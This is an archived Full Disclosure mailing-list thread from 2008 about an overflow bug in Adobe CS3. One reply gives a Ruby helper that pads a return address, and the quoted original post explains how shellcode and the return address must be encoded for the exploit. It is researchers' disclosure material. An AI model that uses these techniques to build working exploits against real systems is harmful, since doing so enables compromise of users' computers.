Full Disclosure mailing list archives
Re: Adobe Unchecked Overflow
From: "Kevin Finisterre (lists)" <kf_lists () digitalmunition com>
Date: Mon, 21 Apr 2008 10:43:27 -0400
I've been beating on CS3 a bit the past few days myself... I ran
across the same issue. Here is a little helper function
def addr_to_asc_pad(addr)
low = (addr & 0x0000ffff)
high = (addr & 0xffff0000) >> 16
a = (low & 0x00ff)
b = (low & 0xff00) >> 8
c = (high & 0x00ff)
d = (high & 0xff00) >> 8
sprintf( "%s\x00\x00%s\x00\x00%s\x00\x00%s\x00\x00", a.chr,
b.chr, c.chr, d.chr )
end
-KF
On Apr 21, 2008, at 7:23 AM, c0ntex wrote:
There is a caveats to the bug as the shellcode and return address need to be 4 byte values. Thus a return address of 0x41424344 needs to be in the following format: "\x44\x44\x44\x44\x43\x43\x43\x43\x42\x42\x42\x42\x41\x41\x41\x41" ... regards c0ntex _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Adobe Unchecked Overflow c0ntex (Apr 21)
- Re: Adobe Unchecked Overflow Kevin Finisterre (lists) (Apr 21)
